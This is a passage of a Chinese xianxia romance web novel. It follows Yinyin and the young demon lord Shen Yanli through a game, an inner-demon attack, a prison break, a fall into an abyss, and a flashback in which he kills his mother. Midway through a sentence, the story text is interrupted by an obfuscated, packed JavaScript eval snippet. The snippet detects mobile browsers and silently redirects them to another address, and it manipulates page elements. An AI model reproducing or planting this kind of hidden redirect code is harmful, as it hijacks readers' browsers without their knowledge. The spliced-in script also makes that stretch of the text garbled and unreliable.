她穿着刚试了还不舍得脱下的新衣,和云纹弟子袍不一样,是粉桃颜色,水袖轻纱,笑起来时眼睛弯成两道月牙,瞧着像桃花成精。 这笑容当真是惹人厌烦。 铃铛声中,沈宴离短暂闭起双眸,再次睁开后情绪没那么暴戾,但还是推开面前挡路的桃花精,拿她没辙。 音音还拦:“想走就把衣服换了!我见不得坏人穿我们虚渡宗的弟子袍!” “哦?”沈宴离语调微扬,唇畔挑起不上不下的弧度,是个冷笑。他讽刺地将这股正义凛然戳破,“先前是谁说觉得我本性不坏?” 是她是她就是她。 音音急中生智:“那是因为先前我还不知道密林中那些白骨都是你推进去的虚渡宗弟子!你乱杀人就是坏!” 沈宴离俯身靠近音音,瞳仁漆黑,清晰倒映出她慌张的模样。 “我会做这种事,你不是从第一天就知道?”他指尖在音音眉心一点,呈直线缓慢往下,避开少女唇珠,抬起她下巴的同时头歪了歪,眉眼秾丽,笑得有几分天真,好比一只会媚术的狐妖。 “原来杀你不算乱杀人。” 音音的脖子被沈宴离手掌虎口禁锢住,他没有施力,近似某种残忍的玩弄。 “别急,你这条命,我会要回来的。” 音音赶紧手忙脚乱地摇了两下铃铛。 忽有幅画面一闪而过。 见她害怕到眼睫发颤,沈宴离心情似乎好了不少,手掌松开,竟弯腰捡起地上踩出脚印的衣服,走进屋内换了起来,喜怒起落难测。 音音驱散掉刚才一瞬脑海里浮现的尸山血海,心有余悸。 那画面是原书情节吗?大魔头最后毁天灭地的时刻被她提前感知到了? 天地混沌,血雾弥漫,孑然一人独立。 像是在毁灭了一切后等待自我毁灭的来临。 生死皆泯灭,压抑至极点。 音音呼吸不自觉地加重些许。 沈宴离脱衣服的动作倏然停下,吐字不紧不慢,很好商量般地问:“不如就先取你一双眼睛作抵?” 音音一听,双眼马上聚焦,见沈宴离的外袍已脱下,里衣囫囵挡住身体轮廓。该看不该看的,全都若隐若现。 紧绷的脊线,薄而利的腰背,肌肉紧贴于骨骼,流畅延到下腹,布料被顶出峰。那是正在夜以继日变化成长的少年身体,如琢如磨,好似眨眼间…… 眨眼间音音就怂了,脸一红,转过身嘴硬道:“谁要看你!身材比我大师兄差远了,跟小学生没两样!” 从灭世频道跳到少儿不宜频道。 这谁能顶住啊。 音音抬头望了眼破破烂烂的茅草屋顶。 好,这下是她熟悉的农村频道了,心安。 音音吹着冷风给脸降温,不一会儿脑袋就被一双大手摁住往后掰,她连头带人都转了个身,视线才与沈宴离胸口齐平。 “说什么?” 谁知换上黑衣的沈宴离更有大魔头气场了,薄唇张合,仿佛在下什么禁术。 音音后退:“你之前背上的伤好了是吧?” 沈宴离反问:“你不是看见了?” 音音注意力怎么可能在那些伤痕上,她没吭声。 按照方涧洄身型裁剪的衣服给沈宴离穿确实有点儿大了,袖口和衣摆都略长。毕竟方涧洄还比他年长两岁,高一些很正常,不过沈宴离很快就会后来者居上。 这是音音从尸山血海中那个模糊背影得出的结论。 音音态度好转:“你还出门吗?别去了吧,我教你玩个游戏。” 沈宴离稍顿,却答应了:“嗯。” 茅草屋内就一副桌椅,音音坐去那铺无被无枕的床上,反客为主地邀请沈宴离来她旁边。 “石头剪刀布会玩吗?规则是石头赢剪刀,剪刀赢布,布赢石头。谁输谁就回答对方一个问题,不许撒谎,玩不玩?” 音音伸出一只手,依次在半空中比划出三种形状。 “我数一二三,我们同时伸出手。” 这种小孩儿玩的游戏既不见血也没人要死,沈宴离兴致缺缺,但还是到床边落座,抬抬下巴让音音倒数。 “那我开始咯?” 音音把拳头小心藏在身后,沈宴离眉目疏懒地盯着她看。 “一二三——” 第一局。 音音出了石头,沈宴离出布。 她说服自己这是新手运气,很没道德地使了个诈:“呀,我忘记说了!三局两胜,这第一局还不能算你赢了,要看后面两局。” 沈宴离冷笑。 音音不管,自顾自开始数数:“一二三——” 第二局。 音音还出石头,沈宴离还出布。 沈宴离挑眉:“我赢了。” 音音牙都咬碎了:“你问。” “那个铃铛为何会对我有特别作用?” 沈宴离装也不装,玩游戏的意图暴露无遗,可被南青风提醒过,音音现在已经不敢逢人乱说这是能净化魔性的渡音铃了。 她包装了一下:“这铃铛是我的护身符,但凡对我起杀心的,都会有点作用。” 沈宴离指出:“撒谎。” 先前他魔性难以自控,并不针对音音,但听了铃铛声后还是平息下来,这铃铛倒更像是专门来克他的。 音音委屈:“我没有!” 魔性杀戮而嗜血,渡音铃才能净化之。 她只是说了一小部分真相而已。 “不过我告诉你,这铃铛很强的!”音音竖起两根手指,又压下去一根,虚张声势,“我之前就用了一层功力,不也轻轻松松让你吐血了。” 听了后半句,沈宴离不禁轻蔑地嗤笑出声。 强的是人还是法器,他自然分辨得清。 “沈宴离。”音音立刻软和地问,“还玩吗?” 她还有问题想问呢。 这种游戏胜之不武,虽然是双方一齐伸手,可修炼境界高低不同,看到并做出反应也不会是同样速度。 音音显然不知这点,还打算靠运气来赌。 沈宴离好奇她会问什么,下局便放水让她赢了。 耶! 音音心里燃了一会儿,勉强绷住嘴角笑意才认真问,“你之前用符咒时为什么没有受到静山结界影响?” 沈宴离语气平静:“没有催动魔力。” 就这? 和音音的回答一样离谱但合理。 “没有催动魔力符咒又是从哪里汲取力量的?” “这是另一个问题。” “……” 两人都没什么游戏精神,不撒谎但胡扯。 今晚多余来这一趟,音音打了个哈欠想回去睡觉,她认为没有向沈宴离告辞的必要,摆摆手便往外走。 静山只一条路,踩上石阶便算走出结界,到时再施瞬移术不迟。 音音走到结界外缘,看见地上落了许多紫色的花瓣,颜色浅淡不一,走进了才看出来是大大小小的蝴蝶尸体,蝶翅上有圈圈纹路,和那日在密林中为她指路的蝴蝶是同个品种。 飞蛾扑火般一大片,像是要冲出静山而不能,全都陨在了半道。 连春天都没有的一座山居然能藏这么多只蝴蝶。 音音心中古怪,注意脚下不要踩到蝴蝶尸体,半只脚刚踏出结界,就被一双手从身后拉了回去。 “去哪里?” “你怎么跟在我身后?走路都没有声音,想吓死人啊?”音音朝沈宴离瞪了眼,“明日我有早课,得回去睡觉了。” 哪知沈宴离轻轻摇头,不允:“你玩够了,我还没有。” 音音冷嘲热讽:“那你就自己用左手跟右手玩吧。” 然而沈宴离拉音音转了个圈,把她彻底拽离下山的路,坦荡说出一句足够惹人遐想的话:“我要和你玩一些特别的。” “……我不玩!” 谁知道这小子脑子里又冒出了什么变态想法,音音才不要奉陪。 沈宴离:“由不得你。” 音音的挣扎惹得他心中不快,袖中翻出一符贴到音音后背,音音瞬间动弹不了,仿佛有股无形的力量重重压到身上。 “你想干嘛?!” 沈宴离不答话,蛮横地拦腰抱起音音,沿原路返回茅草屋。 音音躺在他怀中与一具僵硬的尸体无异,不时还能感到细柔的发丝拂过脸颊,痒得要命。 双手被束缚住,无法摇动渡音铃,音音有点怕了,骂道:“沈宴离你个混蛋!又想杀我是不是?好心没好报!穿了我送的衣服还想杀人灭口——” 音音被平放到了床上,远没有怀抱柔软温暖。 意识到这点,害她脏话都没成功接下去。 沈宴离的手覆在她腰侧,一双狭长眼睛居高临下,不容置喙道:“试试用你的灵力让这个铃铛发出声音。” 音音拒绝:“在静山催动灵力会很痛的。” 还有可能经脉破损而亡。 魔头这是想让她自己动手?好狠的心! 音音目光哀怨,像是要用眼神把沈宴离剜个千千万万遍。 沈宴离蹙眉,抬手挡住那双清亮的眼睛。 “那如果不用灵力可能会死呢?” “什么?” 音音既 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目光如蛇行,一寸寸爬过音音的脸。 “玩够就把我放开啊,你该不是真想杀了我——” “我不是沈宴离。” 这下轮到音音怔愣。 沈宴离又开口:“我是他的心魔。” 不儿? 还没玩够啊? 音音决定陪他演,毫无感情地念起台词:“心魔哥哥,求求你别杀我,你这么厉害,人家好怕的。” 沈宴离眯眼:“就是你要帮他除了我么?” “我不是!我没有!别乱说!”音音一个否认三连,把话堵回去后夹起嗓子,“心魔哥哥,我仰慕你还来不及,怎么会想杀你呢。” 好恶俗。 好像有点意思。 “他还在你身上贴了符,看来是怕你跑了。” 音音赔笑:“那心魔哥哥,你帮我把符揭下来好不好?我这细胳膊细腿的,怎么可能除得掉你嘛。” 沈宴离大概也认同这点,没犹豫地抬手解符,音音终于能动手动脚。 她做的第一件事就是推开沈宴离,坐到床的另一边,隔出安全距离。 心里暗暗地骂:“神经病……” “当初他召我出现,如今又想除了我。好歹我教了他那么多,也算他半个师尊,在冷血这件事上,他胜于我。” 沈宴离看向音音,抛出致命问题:“你说,我们之间,最终活下来的会是谁?” 音音脑子里还在脏话循环,突然被问到,答非所问回了个“对”。 这下沈宴离真不满了,话锋一转:“他肯放我出来,说明他信你能除掉我,让我看看你有何本事。” 阴风再起,屡屡地吹,凉意渗进皮肤骨骼。 不仅缚魔链显形,渡音铃也断断续续发出振动,照理来说,已经有了缚魔链压制,渡音铃应该不会有任何动静。 音音警觉,眼前这个沈宴离好像真的不一样。 至少对她的杀心就比以往强了千百倍。 音音分散他注意力:“能吃能睡算吗……” 沈宴离脸色奇差:“我没同你说笑。” 音音欲哭无泪:“你看我像开玩笑的样子吗?” 沈宴离运掌调息,手中隐隐散发暗流,没有顾忌静山结界的存在。 若两败俱伤,毁掉的是沈宴离身体,心魔仍不灭不死。 “也许把你杀了就没这么多事。” 至此,音音终于明白沈宴离昏迷前说的不用灵力可能会死是什么意思了,可是太迟,心魔并不给她一个初窥境的废柴用灵力催动渡音铃需要花的时间。 暗流飞速朝音音门面袭来,气势甚强。 音音看不出这是一记对她虚实的试探,以为要命丧于此,来不及思考其他,第一反应是凭本能用手挡。 暗流撞上她掌心,忽然间撞出道光芒。 夜空大亮,有如明昼,照彻整座静山。 五峰十二堂弟的灯海相形见绌,犹如曜日与星子的差别,引得门中不知情的弟子纷纷抬头望去,惊叹异动何为。 几乎同时,万籁峰凌空飞出一道剑影。 玄色衣袍烈烈飞动,往静山而去,剑意横绝日月。 方才是方涧洄给音音结的护身印起作用了,替她挡下一劫。 音音抬在半空中的掌心一阵灼痛,那个发着光的星形印记成了伤口,边缘开始渗出密密麻麻的血珠,惹人瞩目。 心魔深吸口气,闻到了空气中弥漫的血腥气。 但却不是普通的鲜血。 “你居然——”他勾起唇角,眼底闪暗光,话语耐人寻味,“还好刚才没有冲动地把你一招杀了。” 音音额头满是汗珠,又怕又痛。 这还不够冲动? 心魔朝音音靠近,扯过她留血的掌心,低头,看动作是想舔。 音音吓得握紧掌心。 不愧是沈宴离的心魔,跟他一样都是变态。 心魔用着沈宴离的脸,蛊惑音音道:“乖,把手张开,不然我不介意在其他地方多划道伤口。” 音音不情不愿地一个指头一个指头张开,她在试着偷偷用灵力催动渡音铃了,但得先拖延住这变态。 在她最后张开小拇指的时候,灵力成功注入渡音铃中,正发出微弱的“叮”一声,茅草屋墙壁轰然倒塌,将其掩盖过去。 心魔冷厉地掀起眼帘,蕴着被打搅的不快。 剑意如疾风,卷走茅草屋顶。 烟尘之中,一柄色泽青暗的长剑直直插进两人中间,然后绕音音一圈形成坚不可摧的保护屏障,不允许心魔再靠近半步。 “孽障!”南青风的怒音遥遥传来。 “爹……” 悬着的心终于放下。 经脉奇痛,音音两眼一花,竟晕了过去,不知后事如何。 11. 入沉孽渊 音音做了个预言般的梦。 尸山血海充斥梦中,那道背影缓缓转过身来,眼尾红痣,黑发被风吹掠而起,经年后的五官棱角分明,依旧如少时惊艳。 漂亮,但带着不能靠近的剧毒。 杀戮刚止,四周尚且翻涌着浓重血腥气。 他一双眼睛平静得如同深潭,却有浓重的绝望弥漫其中。 在毁天灭地杀了所有人之后,还是孤寂。 然后,音音闯入他的视线。 他嗓音沙哑,表情难得温柔几分:“过来。” 音音不敢,摇了摇头,脚步往后退。 “不许走!” 却见他瞳孔骤缩,恐惧神色闪过,像怕失去什么似的急奔上前。 手指即将碰到音音的那一刻,梦醒了。 他没抓住她。 * 音音望着床帐,记不清梦境中画面。 但心口位置好像有种道不明的感觉,空落落的。 耳边传来宁筝急切的关怀:“小师妹,你醒了?感觉如何?” 音音动了动脑袋,慢吞吞答:“没事。” 宁筝扶音音坐起来,给她倒了杯水,看她捧着杯子小口小口喝下,心里再不忍责怪也必须得说一说。 “小师妹你快把我们吓死了,怎么又大晚上跑去静山了?这次还差点被——” 音音着急放下杯子,打断问:“沈宴离呢?” 宁筝疑惑:“谁?” 方涧洄曾说宗门内少有人知道沈宴离的名字,宁筝想来是不知道了。 于是音音改口:“我说那个差点伤了我的魔子。” “在思过牢。”言为心端着新熬出的药进门,到音音面前,掌心还放着两颗金丝蜜饯,盯着她道,“小师妹,醒了就该喝药了。” “谢谢四师姐。” 音音捏着鼻子把药喝下,好意笑笑,没去碰不爱吃的蜜饯。 心中嘀咕,这就是大魔头第一回进思过牢吗?没想到剧情居然还和自己有关。 宁筝并不想让音音知道太多,孰料言为心继续说了下去:“此事严重,师尊和长老们商议之后,都同意让他入沉孽渊受罚。” “沉孽渊?”音音咬着这几个陌生字眼的发音。 她想起来了。 传闻那里万千凶魂恶煞,罪孽难昭。 每逢月圆之夜,渊门便开。 沉孽渊中,许许多多入不了轮回道的魂煞会变成须弥碎片,衍化出虚实真假的幻境,而每重幻境都可能藏着闻所未闻的恶灵邪祟,抑或是四极之门以外才能见识到的妖魔。 进入者难逃生天,越是心术不正者越如此。 沈宴离现在还是大魔头初形态,去了生还的可能并不大。 音音怕他真死了,把故事线拦腰斩断,掀开被子就要下床。 宁筝拦住她:“小师妹你做什么?” “我要去看看。” “看他?”宁筝不屑轻哼。 音音点头,边穿外衣边说:“他先前差点害死我,现在要入沉孽渊了,马上死的就是他,我要亲眼看见才解气。” 言为心摇头:“你看不见他的,连我们都没看见他,当时是师尊亲自用乾坤术压他进的思过牢,除了你和师尊,还有几位长老,没人知道他长什么模样。” 乾坤一术,意为扭转空间之意,需要达至领域境才能炼成。南青风耗费许多灵力动用此等法术,可见他当时有多震怒。 好在静山结界就是南青风设下的,两者力量同源,不会对他的经脉构成损害。 “这魔子如此心狠手辣,竟敢伤我们小师妹……”宁筝拿起言为心掌中的蜜饯塞进嘴里,狠狠咬下去,含混道,“长什么歪瓜裂枣的样子还不知道呢,我猜肯定是个丑八怪!” 她拿胳膊肘捅了捅音音:“小师妹你见过他,你说说他多丑?” 言为心目光转了过来,大概也很感兴趣。 音音问:“你们那夜和大师兄一同进了密林除魔魈,就没看见他?” 宁筝嘿嘿一笑:“他看到你师兄师姐,怕得躲起来了。” 这话显然是胡诌,主角光环加身,音音就没见大魔头怕过什么。 还是言为心靠谱地解释:“大师兄领了师尊之命,只要我们做好分内之事,进入静山后一概不要多问多看,也不许擅自行动。” 音音:“那他长得不忍直视。” 她说的实话,长得好看也会让人不忍直视。 经过先前几桩事,音音的信誉值已经为负数,宁筝和言为心近日都轮流盯着她,没让她有机会偷偷出门。期间方涧洄和南青风都来探望过音音,要她好好养病,对于沉孽渊一事只字不提。 观测天象,三日之后便是月圆夜。 可音音什么办法都没想出来,一天比一天焦虑,养着病气色反而还差了,宁筝只得答应放她出去转转。 音音想到唯一能帮上忙的人是许茂山。他进过思过牢,自然是熟悉里面的,她需要份地形图才敢溜进去。 到了弟子舍,音音开门见山:“你知道思过牢里面是什么样子的吗?” 许茂山疑虑:“音音师姐,你——” 音音比了个“嘘”的手势,以防门外站着的宁筝听见。 “你什么都别问,就当是帮我一个忙,好不好?” 思过牢有千机阵,内里布局千变万化,机关重重,时时刻刻都不一样。 得亏是许茂山对阵法颇有钻研,取来纸笔为音音画出地形图,还标注了各种防止闯入和逃出的陷阱,叮嘱她多加小心。 音音感激不尽。 还真是多交一个朋友多一条活路。 “那你知道思过牢什么地方最凶险,关押的犯人最是穷凶极恶吗?” 这问题的指向性太明显,加之宗门内早已将那夜静山之事传得沸沸扬扬,许茂山不难猜到音音想做什么。 “思过牢刑罚最重的一层牢房是深水之渊,也是进入沉孽渊的入口,没猜错的话,他应该就关在此处。”许茂山在地形图东南角的位置重重点了两下,“音音师姐,我只有一个问题。” 音音不忍再拒绝:“你问吧,我看看能不能回答。” “他既想害你,你却还要救他,是喜欢他吗?” “我曾在静山密林之中长大,也是见过他的,模样确实很好看,可惜……”许茂山无论如何也挑不出一个修饰的形容,叹了口气,“可惜心思歹毒了些。” “他并非良人。” 什么良人不良人的,怎么还古风小生上了。 音音打了个响指,强行扭转回正常画风:“我不喜欢他。” 许茂山犹疑:“那你是——” 音音信誓旦旦:“但我不能让他现在死。” * 月圆夜如期而至。 音音还是被盯得很紧,今夜陪着她的是言为心。 言为心话不多,自顾自看剑法,这让音音的出逃计划更难开展。 “四师姐,要不我们出去走走?刚吃完晚饭就休息也太早了些。”音音摸了摸肚子,假惺惺地打个饱嗝说,“我好撑啊。” 言为心无情戳破:“可小师妹这几天不都是吃完晚饭就睡了吗?” “……” 音音愤恨地点上七八支安神香,希望能给言为心催眠,结果没一会儿自己倒是被熏得哈欠连天。 言为心:“小师妹若困了便睡吧。” 音音坐在她对面摇头,眼泛泪花还逞强:“谁说我困了!四师姐你才是,困了就早些回去休息,我不会乱跑的。” 言为心听得一笑,想着小师妹若是有天被坏人抓了去,都不用刑讯逼供,一张嘴没准就把心理活动全说出来了。 突然,音音看到什么,抓住言为心翻动书页的手,指指她手腕内侧:“四师姐,你怎么还有纹身的?” “纹身?”言为心抽回手,很不习惯这种肢体接触,纠正,“这是胎记。” 那印记很小,是个倒三角形状,但不是由板正笔直的线条勾勒,线条长度也不一致,似乎是临摹了什么东西。 “这个图案好眼熟哦,我好像在哪里见过。” 音音陷入思考,到底是哪里呢? 言为心将衣袖往下扯了扯,挡住那个印记,平静道:“也许是小师妹记错了。” 音音自言自语:“胎记的话,岂不是一出生就有了。” 言为心垂眼,不自然地嗯一声,那本剑法讲的什么已经完全看不进去了。她发了阵呆,再抬眼时,见音音枕住双臂趴在桌上睡得正香。 言为心找了件衣服给音音披上,抱剑推门出去。 随即音音两眼一睁,醒了过来,压根没半点困意。 万籁峰顶,言为心在月下练剑。她是个剑痴,一练起剑来就发狠忘情,不知天地为何物了,但这正好给了音音开溜的机会。 思过牢内自有恐怖的机关陷阱,因而门前无需弟子看守。 音音早将许茂山给的地形图牢记于心,往东南方向疾行而去。渡音铃一部分封印已解,她现在可以很好地控制铃铛不发出响声,以免打草惊蛇。 牢内很黑,看不见两侧关着什么东西,但能听见一些铁链在地面的摩擦声和牢门被重重撞击的声音,夹杂着耳朵难以忍受的喑喑嘶鸣。 音音的到来令这些妖魔鬼怪躁动不少。 深水之渊四周蚀水如瀑布纵流,潮湿得让人喘不上气。 悬台中央有一身影,被铁链牵住手脚架在渊柱上,头偏向一边,湿发淋漓,微弱地喘息着,破败不堪的黑袍渗透深红色血迹。 音音运气够好,竟避开千机阵中那些机关,以最短时间完好无损地来到了沈宴离面前。 沈宴离模样狼狈,看见音音却笑了。 “南音音。”他牵动唇畔道出这个名字,唇角便有鲜血溢下。 这是音音第一次听沈宴离喊她,连名带姓,咬字重在姓氏。他大概从未想过她会是南青风的女儿,杀父仇人之女,见面自然分外眼红。 “我还以为你已经死了。” 音音视线扫过他身上看着就疼的伤痕,心里不太舒服地怼回去:“我也以为你已经死了。” 沈宴离道:“我高估了你。” “是啊,我差点就被你那什么狗屁心魔害死了。” 四面墙上满排刑具,似乎都被一一试过,沾染的鲜血还未曾干燥。 想来沈宴离在这受了不少苦头,他的身份和所作所为自然会让人欲除之而后快,他散漫随意的态度更不会激发起任何怜悯心。 音音走到他面前,实话实说:“你看起来快死了。” 沈宴离脸上尽是斑驳的血珠,眼尾那颗红色的泪痣也像是沾了滴血而已,他无法抬手擦拭,便悬停不落,配合眼神冷的能杀人。 音音抿唇:“我是来救你出去的。” 沈宴离笑得胸膛起伏,仿佛听了个天大的笑话。等笑停了,他眼神和语气一般狠戾:“就算你救我,我日后一样会杀了你。” 音音耸耸肩,听惯这句话都脱敏了。 锁住沈宴离手脚的铁链坚固而沉重,有阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745264|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法加持,看起来难以攻破。 音音以为进来就算完事,没想到还有这茬。 她皱起眉正待研究,听见沈宴离道:“过来。” 音音头也不抬地摆手,让他别烦。 沈宴离气得猛然咳嗽两声,不耐道:“将手伸进我领口,找一张符出来,我自有办法破开这些锁链。” 音音眼睛一弯,马上把手从沈宴离衣领探进去。 人命关天,她丝毫不觉尴尬,也不觉旖旎。 沈宴离又咳嗽两声,面露薄红还喘得厉害,几乎是咬牙切齿地吐字:“没让你伸进里衣!” “抱歉抱歉。” 音音将手从他光滑的肌肤上挪开,从外袍的内兜中找出三四张符纸。这些符咒所画纹路各不相同,似乎是有不同作用,但无一例外透着诡谲血气。 沈宴离挑了一张。 音音跟他串通计划:“等下我当人质,你挟持我出去,这样爹爹和长老们才不会拦你。” 沈宴离讥诮:“你当真是南青风的好女儿。” 他并不信任音音,两人立场截然相对,她所作所为必然不是真心,是阴谋。 “废话少说。” 音音把符纸塞进沈宴离手里,很有安全意识地后退几步。 沈宴离也没浪费时间,他凝起神来,两指夹着符咒,轻轻往空中一抛,符咒上的血色纹路就如血管中流动的鲜血,骤然有了生命,暗光冥冥,蓄积力量。 “轰——!” 符咒霎时间化作数道,尽向沈宴离袭去。 锁链断开的刹那,承受了巨大压力的他闷哼一声,唇边再次溢出鲜血,眉宇簇积化不开的阴霾,远没刚才那般气定神闲。 音音算是见识到了什么叫狠起来连自己都打。 她看沈宴离要跌倒,出于好心上去撑了他一把,云纹弟子袍上立刻浮现一个颀长完整的血手印。 也许是耗尽力气,沈宴离身子并未显得沉重。 音音倒是觉得他像张纸片,破碎感十足。 深水之渊比静山还要冷上千百倍,待在这里面的时间度秒如年,手脚被捆缚住,那些接踵而至的刑罚反而成了打发时间又值得期待的趣事。 眼下触摸到真实的体温,令沈宴离生出片刻恍惚。 音音话中含着催促:“还能走吗?” 沈宴离站直身子,推开音音,勉强往前迈了两步。 谁料音音赶忙拉住他手臂搭到自己脖子上围了起来,后背往他怀里贴近,声音不满:“不是跟你说了要假装挟持我吗?演的像点啊。” “……” 这次沈宴离没再花力气推开她。 两人还未闯过蚀水,忽听纷乱脚步声传来。 音音打起精神:“他们来了。” 沈宴离敛眼,压住烦躁。 她又不知觉地贴更近了。 没有更多应对的时间,南青风一行人速度很快,音音话刚说完,沈宴离便觉余光一暗,他迅速拉着音音转了个圈,以她挡到身前防御。 华屏的鞭子堪堪擦过,眼神嫌恶:“放开她!” 音音觉得脸蛋火辣辣的,不知道破了没有。 沈宴离这人一有危险是真舍得把她推出去啊。 “孩子,你怎得又在此处?!” 南青风目光透着不赞许,音音心虚。 “爹,我——” 在编排出一个合适的理由前,沈宴离反手掐住了音音的脖子,力道不像演的,让她无法回答。 干涩空气贴喉而过,却无法缓解缺氧的窒息感,眼看就要假戏真做,弄巧成拙时,沈宴离又松开了手,放音音换气。 音音不忘偷偷用手肘撞沈宴离,提醒他赶紧跑。 另一边的南青风和华屏交换了一个眼神,制定好应对策略。 一人专攻沈宴离,一人趁其不备救回音音。 华屏那条寸许长的鞭子,鞭锋莫及,穿透力惊人,所到之处空气仿佛都被割出裂痕,滋滋冒着火星子。 沈宴离本就虚弱,拖着个音音更是难避。 何况他现在的实力远非两人对手,与华屏过了数十招后,速度明显慢了许多,被一鞭抽中手臂,几不可察地抖了一下,但还是很紧地搂住音音脖子。 音音听见他用只两个人能听见的音量说:“出去了好像也没什么意思。” 这是有没有意思的事吗? 这是有没有命的事! 那道气音还在继续:“南音音,我想到一个更好玩的。” 就是此刻。 暗中观察的南青风见沈宴离已无心于战局,负在身后的手抬起,没有用剑,直接以深蕴的灵力朝沈宴离打去,力道穿心,想要一招将他击入四周纵流的蚀水中。 蚀水千钧,自成旋涡吞噬掉落之人。 而沉孽渊隐秘的入口正在水下。 南青风那一掌用尽灵力,沈宴离本该身子后仰,浑身脱力地落入沉孽渊中,无暇顾得上音音,他便可趁此上前将音音平安无恙地给带回来。 哪知沈宴离脸色苍白,攥着音音肩膀的那只手骨节也煞白地突起,像要锐利地穿破皮肤,他同样是用尽了全力,不肯松开。 “既然他们想让我死,那么——” 音音肩膀吃痛,看见满脸惊惶的南青风和华屏。 那是一种对事态脱离掌控和预料的恐惧。 然后,她感到身子脱离重心地往后倒去,南青风和华屏的脸色再看不见。 耳边刮过风声,沈宴离在下坠中说:“你便同我一起死吧。” 12. 太守之女 天地昏冥,生灵涂炭。 仙魔大战战势蔓延八洲,众生鲜血流至四极之门。 那年作为魔宫少主的沈宴离方才六岁。 他已很久不去想当时的情形。 四大仙门围剿沈焕一人,搬出通天彻地的法器,合力持久作战。耗得沈焕心神交瘁后,南青风一剑刺中他心脏要害,沈焕鲜血横流,战局当即见分晓。 沈宴离在场,亲眼目睹全程。 母亲牧弦歌紧紧抓住他的手,没有犹豫,一个法阵将两人传送到沈焕面前。 然后以一己之力短暂抵挡四大仙门新一轮绞杀,却扭头冲沈宴离温柔笑笑:“阿离,快去你爹那里。” 沈焕倒在血泊之中,心脏位置正插一柄色泽青暗的长剑,艰难而满怀希冀地冲他道:“阿离……快来。” 沈宴离顺从地走过去。 那一刻他在想,魔的软肋是心脏,也许沈焕活不了多久了,那样牧弦歌应该会很伤心,她好像很爱他,总归是胜过爱自己的。 沈宴离只有六岁孩童的身高,却能俯视战败倒地的沈焕。 沈焕伸手碰不到沈宴离,语气立刻变急切,近乎恳求:“阿离,离我近些。” 沈宴离蹲下身,沈焕再次试着伸出手,不惜耗竭最后一丝力气。任不明真相的人看来,怎么都是一副虎毒尚不食子的温情画面。 但四大仙门的攻势也不会因此松懈,牧弦歌已撑不了多久。 沈宴离看见沈焕的掌心迅速催动起一团黑色气体,慢慢靠近自己左心房位置,那里也是他跳动心脏的所在。 沈宴离没有后退,只问:“爹想做什么?” 沈焕深深看了他一眼,没有回答。 那团黑气仿佛一只无形的手,被操纵着进入沈宴离的身体,攫住他跳动的心脏。 沈宴离想起很久以前,牧弦歌对他说:“阿离,作为魔,心是你的软肋,是你最重要的东西,而你的心头血是全身上下最干净的地方,可以抵命换命。所以千万不要让任何人有机会靠近你的心,否则他们会杀了你,取走你的心头血。” 他猜出沈焕想做什么,却感到困惑。 被攫紧的心脏如针扎般疼痛,额角冷汗淋漓。 正当这时,牧弦歌寡不敌众,被击倒在两人面前。 看见争先恐后涌上来的仙门弟子,沈焕不禁皱眉,明明只差一步之遥,可他已经再没有力气了,手掌虚弱地落下,眼皮微垂。 沈宴离心脏的抽痛瞬间撤离。 “夫君,不要!”牧弦歌忽然大吼一声,扑身向前,将沈宴离紧紧搂住。 沈宴离从未感受过拥抱的体温,此刻自然也不会愚蠢地奢求。 他知道牧弦歌想做什么,她爱沈焕胜过自己,她说的“不要”并非是想阻止沈焕,而是在让沈焕别放弃最后生还的希望…… 毕竟从这场战争开始之前,他们就将沈宴离带在身边未雨绸缪了。 这种被舍弃的感受让沈宴离更觉困惑。 心脏跳动,心头血汩流。 他看不见牧弦歌背后那只手,但能猜到她在做什么。 牧弦歌半跪在地上,风华绝代的脸上沾染了鲜血,透出脆弱。天地间,她目光只有奄奄一息的沈焕一人,留意不到沈宴离已摸上了她腰间长剑。 “娘,你说过不能让别人靠近我的心。” 牧弦歌眼中流出泪水,可她没时间再等,模糊听见沈宴离的低喃。 她道:“阿离,抱歉。” “当然,你也不行。” 两声重合在一起,谁也没听清谁。 沈宴离摸到的长剑更快一步,在牧弦歌碾碎他心脏前,从牧弦歌的后背刺了进去,血痕溅出,飞射到他脸上,流溢满他掌心,比拥抱的体温更加灼烫。 背后那只手终是垂了下去。 牧弦歌眼眸睁大,蓄满眼泪,这一剑准确果决,足以令她刹那命断,什么话都来不及留下,只能在最后定格下沈焕的脸,倒到他身边。 “弦歌!”沈焕气血攻心,悲鸣质问,“怪物,你都做了什么?!” 沈宴离丢开剑,替牧弦歌合上眼皮,没有复述曾被她教导过的话。 沈焕拔下插进他胸口的那柄清风剑,鲜血霎时喷涌如注,他想用这剑刺死沈宴离,却再没力气,浑身颤抖,清风剑“哐啷”一声掉到地面。 待仙门弟子赶上前,看清发生了什么,一时哗然纷纷。 “这这这!” “这魔子竟杀了他娘!!” “当真畜生!” 沈宴离被孤立在人群中央,没有人想靠近他。 沈焕狠狠盯着沈宴离,胸膛剧烈起伏,眼中恨意滔天。 当初……当初就不应该生下…… 仙门弟子为南青风让出路来,他召回清风剑,走到沈焕面前。这一战于他而言同样耗损巨大,他疲惫道:“你输了。” “输了?哈哈哈——”沈焕疯魔般大笑不止。 良久,他停了笑,平复呼吸道:“此一时彼一时……南青风,你的对手不是我,你们仙门百家的对手也不是我……你们真正的敌人在那!是那个怪物!” 南青风回眸,望见了一张童稚而面无表情的脸。 仙门弟子齐齐往后又退一步,戒备森严。 “他虽是我生,但却、但却——” 最后半句话随气息戛然而止,沈焕什么玄机都未道出,就已气绝而亡。 南青风紧紧握住清风剑柄,面容凝重,似乎兀自解读出了那后半句话的意思。 仙魔两届周旋如此之久,终于到了该做了断的时候。 魔神临世,待其成年彻底苏醒,以四大玄圣法器诛之,方可永生永世灭后患。 然而现在,站在面前的却只是一个六岁男孩。 杀他,四大仙门还需再等十二年。 * “沈宴离!!!” 音音叉腰,仰头看着身前走神的人,不爽溢于言表。 片刻之前—— 音音两眼一睁,像魂魄附体,对周遭环境有了真实感受。 